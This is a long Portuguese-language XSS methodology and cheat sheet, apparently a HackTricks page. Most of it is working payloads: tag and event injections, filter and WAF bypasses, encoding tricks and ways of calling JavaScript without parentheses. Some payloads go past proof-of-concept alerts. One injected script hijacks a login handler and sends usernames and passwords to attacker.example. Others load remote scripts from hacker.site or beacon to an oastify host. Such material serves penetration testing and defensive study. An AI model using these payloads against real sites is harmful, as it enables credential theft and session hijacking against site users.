XSS (Cross Site Scripting)

Reading time: 56 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Metodologia

  1. Verifique se qualquer valor que você controla (parameters, path, headers?, cookies?) está sendo refletido no HTML ou usado por código JS.
  2. Encontre o contexto onde ele é refletido/usado.
  3. Se refletido
  4. Verifique quais símbolos você pode usar e, dependendo disso, prepare o payload:
  5. Em HTML bruto:
  6. Você consegue criar novas tags HTML?
  7. Você pode usar events ou atributos que suportem o protocolo javascript:?
  8. Você consegue bypassar proteções?
  9. O conteúdo HTML está sendo interpretado por algum engine JS client side (AngularJS, VueJS, Mavo...), você poderia abusar de um Client Side Template Injection.
  10. Se você não consegue criar tags HTML que executem código JS, você poderia abusar de um Dangling Markup - HTML scriptless injection?
  11. Dentro de uma tag HTML:
  12. Você consegue sair para o contexto HTML bruto?
  13. Você consegue criar novos events/atributos para executar código JS?
  14. O atributo onde você está preso suporta execução de JS?
  15. Você consegue bypassar proteções?
  16. Dentro do código JavaScript:
  17. Você consegue escapar da tag <script>?
  18. Você consegue escapar da string e executar outro código JS?
  19. Seus inputs estão em template literals ``?
  20. Você consegue bypassar proteções?
  21. Função Javascript sendo executada
  22. Você pode indicar o nome da função a executar. por exemplo: ?callback=alert(1)
  23. Se usado:
  24. Você poderia explorar um DOM XSS, preste atenção em como seu input é controlado e se seu input controlado é usado por algum sink.

When working on a complex XSS you might find interesting to know about:

Debugging Client Side JS

Reflected values

Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um valor controlado por você que está sendo refletido na página web.

  • Intermediately reflected: Se você descobrir que o valor de um parâmetro ou mesmo do path está sendo refletido na página web, você poderia explorar um Reflected XSS.
  • Stored and reflected: Se você descobrir que um valor controlado por você é salvo no servidor e é refletido toda vez que você acessa uma página, você poderia explorar um Stored XSS.
  • Accessed via JS: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você poderia explorar um DOM XSS.

Contexts

Ao tentar explorar um XSS, a primeira coisa que você precisa saber é onde seu input está sendo refletido. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.

HTML bruto

Se seu input é refletido no HTML bruto da página, você precisará abusar de alguma tag HTML para executar código JS: <img , <iframe , <svg , <script ... estes são apenas alguns das muitas tags HTML possíveis que você pode usar.
Além disso, lembre-se de Client Side Template Injection.

Dentro do atributo de uma tag HTML

Se seu input é refletido dentro do valor do atributo de uma tag você pode tentar:

  1. Escapar do atributo e da tag (então você estará no HTML bruto) e criar nova tag HTML para abusar: "><img [...]
  2. Se você consegue escapar do atributo mas não da tag (> está codificado ou deletado), dependendo da tag você poderia criar um evento que execute código JS: " autofocus onfocus=alert(1) x="
  3. Se você não consegue escapar do atributo (" está sendo codificado ou deletado), então dependendo de qual atributo seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte você poderá abusar dele. Por exemplo, se você controla um event como onclick= você poderá fazê-lo executar código arbitrário quando for clicado. Outro exemplo interessante é o atributo href, onde você pode usar o protocolo javascript: para executar código arbitrário: href="javascript:alert(1)"
  4. Se seu input é refletido dentro de "tags não exploráveis" você pode tentar o truque do accesskey para abusar da vuln (você precisará de algum tipo de engenharia social para explorar isso): " accesskey="x" onclick="alert(1)" x="

Weird example of Angular executing XSS if you controls a class name:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Dentro do código JavaScript

Nesse caso sua entrada é refletida entre as tags <script> [...] </script> de uma página HTML, dentro de um arquivo .js ou dentro de um atributo usando o protocolo javascript::

  • Se refletida entre <script> [...] </script> tags, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar </script> e escapar desse contexto. Isso funciona porque o navegador irá primeiro parsear as tags HTML e depois o conteúdo, portanto, ele não notará que sua tag injetada </script> está dentro do código HTML.
  • Se refletida dentro de uma string JS e o truque anterior não estiver funcionando você precisará sair da string, executar seu código e reconstruir o código JS (se houver qualquer erro, ele não será executado:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Se refletida dentro de template literals você pode incorporar expressões JS usando a sintaxe ${ ... }: var greetings = `Hello, ${alert(1)}`
  • A codificação Unicode funciona para escrever código JavaScript válido:
javascript
alert(1)
alert(1)
alert(1)

Hoisting em Javascript

Hoisting em Javascript refere-se à oportunidade de declarar functions, variables ou classes depois de serem usadas, permitindo abusar de cenários onde uma XSS está usando variáveis ou funções não declaradas.
Consulte a página seguinte para mais info:

JS Hoisting

Função Javascript

Várias páginas web têm endpoints que aceitam como parâmetro o nome da função a ser executada. Um exemplo comum encontrado na prática é algo como: ?callback=callbackFunc.

Uma boa forma de verificar se algo fornecido diretamente pelo usuário está tentando ser executado é modificar o valor do parâmetro (por exemplo para 'Vulnerable') e observar no console por erros como:

Se for vulnerável, você pode ser capaz de disparar um alert simplesmente enviando o valor: ?callback=alert(1). No entanto, é muito comum que esses endpoints validem o conteúdo para permitir apenas letras, números, pontos e underscores ([\w\._]).

No entanto, mesmo com essa limitação ainda é possível realizar algumas ações. Isso porque você pode usar esses caracteres válidos para acessar qualquer elemento no DOM:

Algumas funções úteis para isso:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Você também pode tentar acionar funções Javascript diretamente: obj.sales.delOrders.

No entanto, normalmente os endpoints que executam a função indicada são endpoints sem um DOM muito interessante, outras páginas na mesma origem terão um DOM mais interessante para realizar mais ações.

Portanto, para abusar dessa vulnerabilidade em um DOM diferente foi desenvolvida a exploração Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Existe código JS que está usando de forma insegura alguns dados controlados por um atacante como location.href. Um atacante poderia abusar disso para executar código JS arbitrário.

DOM XSS

Universal XSS

Este tipo de XSS pode ser encontrado em qualquer lugar. Eles não dependem apenas da exploração no cliente de uma aplicação web, mas de qualquer contexto. Esse tipo de execução arbitrária de JavaScript pode até ser abusado para obter RCE, ler arquivos arbitrários em clientes e servidores, e mais.
Alguns exemplos:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

Imagem de encoding para bypass de WAF

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injetando dentro do HTML bruto

Quando seu input é refletido dentro da página HTML ou você pode escapar e injetar código HTML nesse contexto, a primeira coisa que você precisa fazer é verificar se você pode abusar do < para criar novas tags: basta tentar refletir esse caractere e checar se ele está sendo HTML encoded ou deletado, ou se é refletido sem alterações. Somente no último caso você poderá explorar essa situação.
Para esses casos também tenha em mente Client Side Template Injection.
Nota: Um comentário HTML pode ser fechado usando --> ou --!>

Nesse caso e se nenhum black/whitelisting for usado, você poderia usar payloads como:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Mas, se estiver a ser usado tags/attributes black/whitelisting, você precisará brute-force quais tags pode criar.
Uma vez que você tenha localizado quais tags são permitidas, você precisará brute-force attributes/events dentro das tags válidas encontradas para ver como atacar o contexto.

Tags/Events brute-force

Vá para https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clique em Copy tags to clipboard. Depois, envie todos eles usando Burp intruder e verifique se alguma tag não foi detectada como maliciosa pelo WAF. Quando descobrir quais tags pode usar, você pode brute force all the events usando as tags válidas (na mesma página clique em Copy events to clipboard e siga o mesmo procedimento de antes).

Custom tags

Se você não encontrou nenhuma tag HTML válida, pode tentar create a custom tag e executar código JS com o atributo onfocus. Na XSS request, você precisa terminar a URL com # para fazer a página focar nesse objeto e executar o código:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-la com alguns truques bobos:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Mais payloads tiny XSS para diferentes ambientes podem ser encontrados aqui e aqui.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

O último está usando 2 caracteres unicode que se expandem para 5: telsr\
More of these characters can be found here.\
To check in which characters are decomposed check here.\

Click XSS - Clickjacking

Se, para explorar a vulnerabilidade, você precisa que o usuário clique em um link ou em um formulário com dados pré-preenchidos, você pode tentar abuse Clickjacking (se a página for vulnerável).

Impossível - Dangling Markup

Se você acha que é impossível criar uma tag HTML com um atributo para executar código JS, você deve checar Danglig Markup porque você poderia exploit a vulnerabilidade sem executar JS código.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Se você está dentro de uma tag HTML, a primeira coisa que pode tentar é escapar da tag e usar algumas das técnicas mencionadas na previous section para executar código JS.\
Se você não consegue escapar da tag, você pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo usando um payload como (observe que neste exemplo aspas duplas são usadas para escapar do atributo, você não vai precisar delas se sua entrada for refletida diretamente dentro da tag):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Eventos de estilo

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Dentro do atributo

Mesmo se você não puder escapar do atributo (" está sendo encoded ou deleted), dependendo de qual atributo seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte você poderá abusar dele. Por exemplo, se você controla um evento como onclick= você poderá fazê-lo executar código arbitrário quando for clicado.
Outro exemplo interessante é o atributo href, onde você pode usar o protocolo javascript: para executar código arbitrário: href="javascript:alert(1)"

Bypass dentro do evento usando HTML encoding/URL encode

Os caracteres codificados em HTML dentro do valor dos atributos de tags HTML são decodificados em tempo de execução. Portanto algo como o seguinte será válido (o payload está em negrito): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Note que qualquer tipo de HTML encode é válido:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Observe que URL encode também funcionará:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass dentro do evento usando Unicode encode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protocolos Especiais Dentro do atributo

Lá você pode usar os protocolos javascript: ou data: em alguns locais para executar código JS arbitrário. Alguns vão exigir interação do usuário e outros não.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Locais onde você pode injetar esses protocolos

De modo geral o protocolo javascript: pode ser usado em qualquer tag que aceita o atributo href e na maioria das tags que aceitam o atributo src (mas não <img>)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Outros truques de ofuscação

Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Além disso, existe outro truque legal para esses casos: Mesmo que sua entrada dentro de javascript:... esteja sendo URL encoded, ela será URL decoded antes de ser executada. Então, se você precisa escape da string usando uma aspas simples e vê que ela está sendo URL encoded, lembre-se de que isso não importa, ela será interpretada como uma aspas simples durante o tempo de execução.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Observe que se você tentar usar ambos URLencode + HTMLencode em qualquer ordem para codificar o payload isso não funcionará, mas você pode misturá-los dentro do payload.

Usando Hex e Octal encode com javascript:

Você pode usar Hex e Octal encode dentro do atributo src de iframe (pelo menos) para declarar tags HTML para executar JS:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Se você conseguir injetar qualquer URL em uma tag arbitrária <a href= que contenha os atributos target="_blank" and rel="opener", verifique a seguinte página para explorar esse comportamento:

Reverse Tab Nabbing

on Event Handlers Bypass

Primeiro verifique esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para "on" event handlers úteis.
Caso exista alguma blacklist impedindo você de criar esses event handlers você pode tentar os seguintes bypasses:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

A partir de here agora é possível abusar de hidden inputs com:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

E em meta tags:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

A partir de here: Você pode executar um XSS payload dentro de um hidden attribute, desde que consiga convencer a victim a pressionar a key combination. No Firefox (Windows/Linux) a combinação de teclas é ALT+SHIFT+X e no OS X é CTRL+ALT+X. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no access key attribute. Aqui está o vetor:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

O payload XSS será algo como isto: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Várias técnicas usando diferentes codificações já foram expostas nesta seção. Volte para aprender onde você pode usar:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Leia a Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Leia a JavaScript bypass blacklist of the following section.

CSS-Gadgets

Se você encontrar um XSS em uma parte muito pequena do site que requer algum tipo de interação (talvez um pequeno link no footer com um elemento onmouseover), você pode tentar modificar o espaço que esse elemento ocupa para maximizar as probabilidades de o link ser acionado.

Por exemplo, você pode adicionar algum styling no elemento como: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Mas, se o WAF estiver filtrando o atributo style, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo

.test {display:block; color: blue; width: 100%}

e

#someid {top: 0; font-family: Tahoma;}

Agora você pode modificar nosso link e colocá-lo na forma

<a href="" id=someid class=test onclick=alert() a="">

Esse truque foi retirado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

Nesses casos, seu input será refletido dentro do código JS de um arquivo .js ou entre <script>...</script> tags ou entre HTML events que podem executar JS code ou entre atributos que aceitam o protocolo javascript:.

Escapando a tag <script>

Se seu código for inserido dentro de <script> [...] var input = 'reflected data' [...] </script> você pode facilmente escapar fechando a tag <script>:

javascript
</script><img src=1 onerror=alert(document.domain)>

Note que, neste exemplo, nem sequer fechamos a aspa simples. Isso acontece porque a análise do HTML é realizada primeiro pelo navegador, o que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para compreender e executar os scripts incorporados é feita somente depois.

Dentro do código JS

Se <> estiverem sendo sanitizados, você ainda pode escapar a string onde sua entrada está localizada e executar JS arbitrário. É importante corrigir a sintaxe do JS, porque se houver algum erro, o código JS não será executado:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Quando a entrada do usuário cai dentro de uma string JavaScript entre aspas (e.g., server-side echo into an inline script), você pode terminar a string, injetar código e reparar a sintaxe para manter o parsing válido. Esqueleto genérico:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Exemplo de padrão de URL quando o parâmetro vulnerável é refletido em uma string JS:

?param=test";<INJECTION>;a="

Isso executa JS do atacante sem precisar tocar o contexto HTML (pure JS-in-JS). Combine com blacklist bypasses abaixo quando filtros bloquearem palavras-chave.

Template literals ``

Para construir strings além de aspas simples e duplas, o JS também aceita backticks `` . Isto é conhecido como template literals pois permitem embedded JS expressions usando a sintaxe ${ ... }.\
Portanto, se você encontrar que sua entrada está sendo refletida dentro de uma string JS que usa backticks, você pode abusar da sintaxe ${ ... } para executar código JS arbitrário:

Isso pode ser abusado usando:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Execução de código codificado

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Payloads entregáveis com eval(atob()) e nuances de escopo

Para manter URLs mais curtas e contornar filtros de palavras-chave ingênuos, você pode codificar sua lógica real em base64 e avaliá-la com eval(atob('...')). Se filtros simples de palavras-chave bloquearem identificadores como alert, eval ou atob, use identificadores escapados em Unicode que compilam de forma idêntica no navegador, mas evadem filtros de correspondência de strings:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Observação importante sobre escopo: const/let declarados dentro de eval() têm escopo de bloco e NÃO criam variáveis globais; eles não estarão acessíveis a scripts posteriores. Use um elemento <script> injetado dinamicamente para definir hooks globais não reatribuíveis quando necessário (por exemplo, para hijack a form handler):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Codificar Unicode para execução de JS

javascript
alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists técnicas

Strings

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Escapes especiais

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Substituições de espaços dentro do código JS

javascript
<TAB>
/**/

Comentários de JavaScript (do JavaScript Comments truque)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (from JavaScript new line truque)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript espaços em branco

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript dentro de um comentário

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript sem parênteses

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Chamada arbitrária de função (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Há código JS que usa dados controlados por um atacante de forma insegura, como location.href. Um atacante poderia abusar disso para executar código JS arbitrário.
Devido à extensão da explicação sobre DOM vulnerabilities foi movida para esta página:

DOM XSS

